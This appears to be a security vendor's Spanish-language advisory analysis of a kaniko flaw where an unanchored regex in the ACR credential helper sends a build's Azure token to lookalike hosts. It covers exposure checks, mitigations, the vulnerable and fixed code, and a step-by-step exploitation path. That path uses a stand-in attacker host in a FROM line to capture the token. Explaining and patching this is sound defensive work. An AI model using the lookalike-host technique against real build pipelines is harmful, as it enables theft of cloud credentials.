Neutron, nuestro motor de IA, obtuvo un 97.1% en el benchmark CyberGym de UC Berkeley. Más información

Análisis a fondo

Análisis a fondo

Fuga del token de Azure de kaniko a registros imitadores (CVE-2026-105769)

kaniko anterior a 1.25.20 envía el token de Azure Resource Manager del build a hosts que contienen .azurecr.io, incluidos hosts de atacantes.

Resumen

  • Un Dockerfile que descarga desde un host imitador como x.azurecr.io.attacker.com hace que kaniko envíe el token de Azure Resource Manager del build a ese host. El aviso se publicó el 2 de noviembre de 2026.
  • kaniko anterior a 1.25.20 se ve afectado cuando los builds usan Dockerfiles o argumentos de build que usted no controla por completo y hay una identidad de Azure disponible para el build.
  • El aviso lo puntúa CVSS v3.1 9.3 Critical. No se informa de explotación en entornos reales, y la CVE no está en el catálogo KEV de CISA al 6 de noviembre de 2026.
  • Actualice a kaniko 1.25.20 o posterior; 1.25.21 es la versión actual. Si no puede, elimine las credenciales de Azure y bloquee el servicio de metadatos de instancia desde los pods de build; consulte «¿Cómo lo corrijo?».

¿Estoy afectado?

Está expuesto solo cuando se cumplen todas estas condiciones:

  • El build ejecuta kaniko anterior a 1.25.20: el executor, el warmer o un binario independiente docker-credential-acr-env construido desde ese código.
  • El Dockerfile, o un argumento de build que llega a él, está influido por alguien en quien no confía por completo. Los builds de pull request y las CI multiinquilino son los casos evidentes.
  • El entorno de build puede obtener una identidad de Azure: credenciales de principal de servicio en AZURE_CLIENT_ID, AZURE_CLIENT_SECRET y AZURE_TENANT_ID; un token de identidad de carga de trabajo federada en AZURE_FEDERATED_TOKEN o AZURE_FEDERATED_TOKEN_FILE; o una identidad administrada mediante el servicio de metadatos de instancia de Azure o MSI_ENDPOINT.
  • El Dockerfile hace referencia a una imagen en un host que contiene .azurecr.io, .azurecr.cn, .azurecr.de o .azurecr.us pero no es un host de Azure Container Registry. Basta una línea FROM; una línea COPY --from=<image> también funciona.

No necesita usar Azure Container Registry ni configurar el helper. kaniko consulta el helper integrado para cualquier registro que no tenga credenciales en la configuración de Docker y que no sea un registro de Google o Amazon ECR. Todos los hosts imitadores caen en ese conjunto. Si el build no tiene identidad de Azure, el helper no puede obtener un token.

Un build que solo usa Dockerfiles de confianza no está expuesto por esta ruta, porque el atacante no puede añadir el host imitador. Un kaniko corregido no está expuesto ni siquiera con un Dockerfile no confiable.

Rama Versiones afectadas Versión corregida
kaniko todas las versiones anteriores a 1.25.20 1.25.20 (publicada el 27 de octubre de 2026); 1.25.21 es la actual (3 de noviembre de 2026)

Compruebe la versión y las entradas del build:

# Version of the executor image or binary
docker run --rm <your-kaniko-executor-image> --version
# Or, inside the build pod
/kaniko/executor --version

# If you import kaniko as a Go module
go list -m github.com/chainguard-dev/kaniko

# Lookalike ACR hosts in a Dockerfile (a dot after the ACR suffix)
grep -nE 'azurecr\.(io|cn|de|us)\.' Dockerfile

# Azure identity available to the build
env | grep -E '^(AZURE_CLIENT_ID|AZURE_CLIENT_SECRET|AZURE_TENANT_ID|AZURE_FEDERATED_TOKEN|AZURE_FEDERATED_TOKEN_FILE|MSI_ENDPOINT|MSI_SECRET)='

¿Cómo lo corrijo?

  1. Actualice a kaniko 1.25.20 o posterior. El proyecto publica etiquetas de código, no binarios, así que reconstruya el executor, el warmer y el binario independiente docker-credential-acr-env desde el código corregido. La versión v1.25.20 es la primera etiqueta corregida; v1.25.21 es la versión actual.
  2. Si importa kaniko como módulo de Go, actualice github.com/chainguard-dev/kaniko a v1.25.20 o posterior. El módulo upstream github.com/chrismellard/docker-credential-acr-env no tiene mantenimiento y no tiene versión corregida; kaniko ahora incluye una copia corregida en third_party/docker-credential-acr-env.
  3. Si no puede actualizar, elimine la identidad de Azure del entorno de build y bloquee el servicio de metadatos de instancia:
  4. Elimine AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_FEDERATED_TOKEN, AZURE_FEDERATED_TOKEN_FILE, MSI_ENDPOINT y MSI_SECRET de los pods de build.
  5. Bloquee el acceso a 169.254.169.254 desde la red de build, para que no se pueda alcanzar una identidad administrada.
  6. Si no depende de la autenticación ACR integrada de kaniko, configure AZURE_ENVIRONMENT=none en el contenedor de kaniko. El helper falla entonces antes de solicitar un token.
  7. Si su configuración de Docker establece "credsStore": "acr-env", sustitúyala por entradas credHelpers por host para sus propios registros ACR. Esto cierra solo la ruta del binario independiente, no el helper integrado.
  8. Si se ejecutaron builds no confiables con una identidad de Azure, trate cada token emitido para esa identidad durante esos builds como comprometido. Revise los registros de inicio de sesión de Entra ID de la identidad y los registros de actividad de Azure, especialmente los push a ACR, los cambios de asignación de roles y los listados de claves o secretos. Rotar las credenciales de la identidad no revoca un token ya emitido; sigue válido hasta que expire.

¿Cuál es la causa raíz?

El helper de credenciales de ACR decide si un host es un Azure Container Registry con una expresión regular no anclada, así que cualquier nombre de host que contenga un sufijo de ACR pasa. El código vulnerable está en github.com/chrismellard/docker-credential-acr-env, que kaniko incluye:

var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)

func isACRRegistry(input string) bool {
    serverURL, err := url.Parse("https://" + input)
    if err != nil {
        return false
    }
    if serverURL.Hostname() == mcrHostname {
        return true
    }
    matches := acrRE.FindStringSubmatch(serverURL.Hostname())
    if len(matches) == 0 {
        return false
    }
    return true
}

url.Parse("https://" + input).Hostname() reduce la entrada a su nombre de host, y el patrón no está anclado ni al principio ni al final. evil.azurecr.io.attacker.com contiene .azurecr.io, así que coincide. foo.azurecr.io.evil también.

El Get() del helper trata entonces la coincidencia como prueba de que el host es un registro ACR:

func (a ACRCredHelper) Get(serverURL string) (string, string, error) {
    if !isACRRegistry(serverURL) {
        return "", "", errors.New("serverURL does not refer to Azure Container Registry")
    }

    spToken, settings, err := token.GetServicePrincipalTokenFromEnvironment()
    if err != nil {
        return "", "", fmt.Errorf("failed to acquire sp token %w", err)
    }
    refreshToken, err := registry.GetRegistryRefreshTokenFromAADExchange(serverURL, spToken, settings.Values[auth.TenantID])
    ...
}

GetServicePrincipalTokenFromEnvironment() obtiene un token de Azure Resource Manager del principal de servicio, del token federado o de la identidad administrada. GetRegistryRefreshTokenFromAADExchange() llama después a GetFromExchange(ctx, "access_token", serverURL, tenantID, "", principalToken.Token().AccessToken) del SDK de Azure. El SDK envía un POST a https://<serverURL>/oauth2/exchange con el token en la cabecera Authorization: Bearer y en el campo de formulario access_token. El host de esa URL es el imitador del atacante, así que el token sale del build.

¿Cómo se explota?

  1. El atacante puede influir en un Dockerfile o en un argumento de build que llega a él, por ejemplo en un build de pull request.
  2. El atacante añade una imagen base en un host imitador: FROM x.azurecr.io.attacker.com/img. No se necesita ninguna instrucción RUN ni ningún push.
  3. kaniko ve un registro sin credenciales en la configuración de Docker y pide credenciales al helper ACR integrado.
  4. La expresión regular no anclada coincide con el host imitador. El helper obtiene un token de Azure Resource Manager del entorno o del servicio de metadatos de instancia.
  5. El helper envía el token a https://x.azurecr.io.attacker.com/oauth2/exchange. El atacante tiene ahora un token válido para la identidad del build.
  6. El atacante usa el token contra Azure Resource Manager con las asignaciones de rol de la identidad, o lo canjea en un registro ACR real para obtener credenciales de registro. Si la identidad tiene AcrPush o más, el atacante puede subir imágenes a sus registros.

No se enumera ningún código de prueba de concepto público. El aviso describe la entrada y el intercambio de token; los bloques de código aquí son el código vulnerable y el corregido, no un exploit funcional.

¿Cómo se desarrolla el ataque?

Una referencia de imagen base no confiable hace que el helper clasifique un host del atacante como Azure Container Registry, y el helper envía el token de Azure del build a ese host.

flowchart LR A["Dockerfile no confiable: FROM x.azurecr.io.attacker.com/img"] --> B["kaniko pide credenciales al helper ACR"] B --> C["La expresión no anclada coincide con .azurecr.io"] C --> D["El helper obtiene un token de Azure Resource Manager"] D --> E["El token se envía a /oauth2/exchange del atacante"] E --> F["El atacante usa el token contra Azure"]

¿Qué puede hacer un atacante?

Un atacante que puede colocar un host imitador en un Dockerfile, mientras el build tiene una identidad de Azure, recibe un token de Azure Resource Manager válido. El impacto depende de las asignaciones de rol de esa identidad:

  • Leer los recursos que la identidad puede leer, incluidos secretos y claves de almacenamiento.
  • Cambiar asignaciones de rol u otros recursos que la identidad puede gestionar.
  • Canjear el token en un registro ACR real al que la identidad tiene acceso y obtener credenciales de registro.
  • Subir imágenes a sus registros si la identidad tiene AcrPush o más.

Las condiciones se enumeran completas: kaniko anterior a 1.25.20, un Dockerfile o argumento de build no confiable, una identidad de Azure disponible para el build y un host imitador que contenga un sufijo de ACR. El atacante no necesita usar ACR, no necesita que el build haga push y no necesita una instrucción RUN. El token es válido hasta que expire; rotar las credenciales de la identidad no lo revoca.

¿Por qué funciona la corrección?

La corrección sustituye el patrón no anclado por una comprobación anclada y consciente de las etiquetas, e incluye el helper corregido dentro del módulo de kaniko:

-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
@@
 func isACRRegistry(input string) bool {
    serverURL, err := url.Parse("https://" + input)
-   if err != nil {
+   if err != nil || serverURL.Host != input {
        return false
    }
-   if serverURL.Hostname() == mcrHostname {
-       return true
+   if i := strings.LastIndexByte(input, ':'); i >= 0 {
+       port := input[i+1:]
+       if !portRE.MatchString(port) {
+           return false
+       }
+       if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
+           return false
+       }
    }
-   matches := acrRE.FindStringSubmatch(serverURL.Hostname())
-   if len(matches) == 0 {
-       return false
-   }
-   return true
+   host := serverURL.Hostname()
+   return host == mcrHostname || acrHostRE.MatchString(host)
 }

El patrón está anclado en ambos extremos y solo admite etiquetas DNS minúsculas bien formadas delante de un sufijo de ACR. evil.azurecr.io.attacker.com y foo.azurecr.io.evil ya no coinciden. El código también exige que el host analizado sea igual a la entrada, rechaza un punto final y etiquetas mal formadas, y comprueba el rango de puertos. Para cualquier otro host, el helper informa «credentials not found» sin solicitar un token.

La corrección es completa para las rutas del helper que nombra el aviso: pkg/creds, que enlaza el helper en el executor y el warmer, y el binario independiente docker-credential-acr-env construido por deploy/Dockerfile. El módulo upstream se elimina de go.mod, go.sum y vendor/, así que los escáneres dejan de informar GO-2026-6225 para él. El proyecto upstream sigue sin mantenimiento; quien mantiene el fork debe vigilar futuros avisos.

¿Cómo compruebo si estuve comprometido?

No hay indicadores de compromiso publicados. Las comprobaciones son del lado de Azure, porque el host del atacante lo elige el atacante y no es un indicador fijo:

# Role assignments held by the build identity (requires the Azure CLI)
az role assignment list --assignee <client-id> --all --output table

# ACR repositories and tags, to look for pushes you did not make
az acr repository list --name <registry-name> --output table

En el centro de administración de Microsoft Entra, abra los registros de inicio de sesión de la identidad del build y revise el periodo en que se ejecutaron los builds no confiables. En el registro de actividad de Azure, filtre Microsoft.ContainerRegistry/registries/push/write, los cambios de asignación de roles y los listados de claves o secretos. Un token emitido para la identidad es válido hasta que expire, así que una rotación posterior de credenciales no deshace un robo ya ocurrido.

Si un build descargó desde un host imitador, trate el token como comprometido, revise la actividad de la identidad durante la vida del token y renueve cada secreto que la identidad pudiera leer. No hay una lista de dominios o direcciones IP que buscar; el host imitador lo elige el atacante.

Cronología

  • 2023-03-04: último commit upstream de docker-credential-acr-env, que deja la comprobación no anclada sin mantenimiento.
  • 2025-06: el repositorio original de kaniko se archiva; Chainguard lo bifurca para continuar el mantenimiento.
  • 2026-10-27: se publica kaniko v1.25.20 con el helper corregido incluido.
  • 2026-11-02: se publica GHSA-5q7h-w9jf-cx97.
  • 2026-11-03: se publica kaniko v1.25.21, la versión actual.
  • 2026-11-05: se publica CVE-2026-105769.
  • 2026-11-06: no se informa de explotación en entornos reales; la CVE no está en el catálogo KEV de CISA.

El helper estuvo sin mantenimiento durante más de tres años antes de que kaniko incluyera su propia copia corregida.
Figura 1: del helper ACR sin mantenimiento a la corrección de kaniko y el aviso. Fuente: versiones kaniko v1.25.20 y v1.25.21, commit 08de01fe y GHSA-5q7h-w9jf-cx97, comprobados el 6 de noviembre de 2026

Preguntas frecuentes

Solo uso kaniko con AWS o GCP. ¿Estoy afectado?

Posiblemente. El helper ACR se consulta para cualquier registro sin credenciales en la configuración de Docker y que no sea un registro de Google o Amazon ECR. Si el entorno de build tiene una identidad de Azure, un host imitador puede seguir desencadenando la solicitud de token. Si no hay identidad de Azure, el helper no puede obtener un token.

¿Necesito usar Azure Container Registry?

No. No necesita ACR ni configurar el helper. El helper integrado se consulta automáticamente para un host de registro no reconocido.

¿Estoy expuesto si solo construyo Dockerfiles de confianza?

No por esta ruta. El atacante necesita colocar un host imitador en un Dockerfile o en un argumento de build. Si todas las entradas son de confianza y no se hace referencia a ningún host imitador, no se solicita el helper para un host del atacante.

¿La actualización elimina el módulo upstream?

Sí. kaniko v1.25.20 incluye una copia corregida en third_party/docker-credential-acr-env y ya no depende de github.com/chrismellard/docker-credential-acr-env, así que los escáneres dejan de informar GO-2026-6225 para él.

¿Se explotó en entornos reales?

No se ha informado de explotación en entornos reales al 6 de noviembre de 2026, y la CVE no está en el catálogo KEV de CISA. El aviso se publicó el 2 de noviembre de 2026, así que la ausencia de informes es reciente.

¿Qué hago si no puedo actualizar?

Elimine la identidad de Azure del entorno de build y bloquee el servicio de metadatos de instancia, o configure AZURE_ENVIRONMENT=none si no usa la autenticación ACR integrada. Estas medidas impiden la solicitud de token; no corrigen el helper. Actualice en cuanto pueda.

Referencias

  • Aviso de seguridad de kaniko GHSA-5q7h-w9jf-cx97, publicado el 2 de noviembre de 2026, las configuraciones afectadas, el impacto, las correcciones y las soluciones provisionales: https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97 (comprobado el 6 de noviembre de 2026)
  • Registro CVE-2026-105769, publicado el 5 de noviembre de 2026, CVSS v3.1 9.3 y el rango afectado: https://www.cve.org/CVERecord?id=CVE-2026-105769 (comprobado el 6 de noviembre de 2026)
  • Commit de kaniko 08de01fe7fffaeb6bc030efa9eae723ea2dd4405, «Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module», 27 de octubre de 2026: https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405 (comprobado el 6 de noviembre de 2026)
  • Pull request de kaniko #495, la corrección y el helper corregido: https://github.com/chainguard-forks/kaniko/pull/495 (comprobado el 6 de noviembre de 2026)
  • Versión kaniko v1.25.20, 27 de octubre de 2026: https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20 (comprobado el 6 de noviembre de 2026)
  • Versión kaniko v1.25.21, 3 de noviembre de 2026, la versión actual: https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.21 (comprobado el 6 de noviembre de 2026)
  • Archivo vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go de kaniko en v1.25.19, la expresión no anclada: https://github.com/chainguard-forks/kaniko/blob/v1.25.19/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go (comprobado el 6 de noviembre de 2026)
  • Archivo third_party/docker-credential-acr-env/PATCHES.md de kaniko, la comprobación anclada y la copia incluida: https://github.com/chainguard-forks/kaniko/blob/v1.25.20/third_party/docker-credential-acr-env/PATCHES.md (comprobado el 6 de noviembre de 2026)
  • Base de vulnerabilidades de Go GO-2026-6225, el aviso del módulo upstream: https://pkg.go.dev/vuln/GO-2026-6225 (comprobado el 6 de noviembre de 2026)
  • GitHub, GoogleContainerTools/kaniko, 15,750 estrellas y 1,529 forks, el repositorio original archivado: https://github.com/GoogleContainerTools/kaniko (comprobado el 6 de noviembre de 2026)
  • GitHub, chainguard-forks/kaniko, el fork mantenido y su README: https://github.com/chainguard-forks/kaniko (comprobado el 6 de noviembre de 2026)
  • Flujo JSON del catálogo Known Exploited Vulnerabilities de CISA, comprobado para CVE-2026-105769 el 6 de noviembre de 2026 (no incluida): https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (comprobado el 6 de noviembre de 2026)